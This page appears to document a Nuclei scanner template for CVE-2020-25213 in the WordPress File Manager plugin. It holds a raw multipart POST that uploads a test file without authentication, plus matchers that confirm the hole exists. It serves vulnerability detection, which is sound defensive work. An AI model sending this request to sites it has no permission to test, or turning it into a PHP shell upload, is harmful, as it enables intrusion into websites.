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WordPress File Manager Plugin - Remote Code Execution

ID: CVE-2020-25213

Severity: critical

Author: foulenzer

Tags: cve,cve2020,wordpress,rce,kev,fileupload,intrusive,packetstorm,webdesi9

Description

Section titled “Description”

The WordPress File Manager plugin prior to version 6.9 is susceptible to remote code execution. The vulnerability allows unauthenticated remote attackers to upload .php files.

YAML Source

Section titled “YAML Source”
id: CVE-2020-25213


# Uploaded file will be accessible at:-
# http://localhost/wp-content/plugins/wp-file-manager/lib/files/poc.txt
info:
  name: WordPress File Manager Plugin - Remote Code Execution
  author: foulenzer
  severity: critical
  description: The WordPress File Manager plugin prior to version 6.9 is susceptible to remote code execution. The vulnerability allows unauthenticated remote attackers to upload .php files.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected WordPress site.
  remediation: |
    Update to the latest version of the WordPress File Manager Plugin to mitigate this vulnerability.
  reference:
    - https://plugins.trac.wordpress.org/changeset/2373068
    - https://github.com/w4fz5uck5/wp-file-manager-0day
    - https://nvd.nist.gov/vuln/detail/CVE-2020-25213
    - http://packetstormsecurity.com/files/160003/WordPress-File-Manager-6.8-Remote-Code-Execution.html
    - http://packetstormsecurity.com/files/171650/WordPress-File-Manager-6.9-Shell-Upload.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-25213
    cwe-id: CWE-434
    epss-score: 0.97395
    epss-percentile: 0.99916
    cpe: cpe:2.3:a:webdesi9:file_manager:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: webdesi9
    product: file_manager
    framework: wordpress
  tags: cve,cve2020,wordpress,rce,kev,fileupload,intrusive,packetstorm,webdesi9


http:
  - raw:
      - |
        POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: multipart/form-data; boundary=------------------------ca81ac1fececda48


        --------------------------ca81ac1fececda48
        Content-Disposition: form-data; name="reqid"


        17457a1fe6959
        --------------------------ca81ac1fececda48
        Content-Disposition: form-data; name="cmd"


        upload
        --------------------------ca81ac1fececda48
        Content-Disposition: form-data; name="target"


        l1_Lw
        --------------------------ca81ac1fececda48
        Content-Disposition: form-data; name="mtime[]"


        1576045135
        --------------------------ca81ac1fececda48
        Content-Disposition: form-data; name="upload[]"; filename="poc.txt"
        Content-Type: text/plain


        poc-test
        --------------------------ca81ac1fececda48--


    matchers-condition: and
    matchers:
      - type: word
        words:
          - poc.txt
          - added
        condition: and


      - type: word
        part: header
        words:
          - application/json


      - type: status
        status:
          - 200
# digest: 4a0a00473045022078f2226f7dbafcd1cd37543a0da0d4885bbb38bc6183d91337af4b384795f5df022100c284d9d51ddb4bd4f8d8e3b81ac2532e510eb4a54deba949cb93b2665951c3cf:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-25213.yaml"

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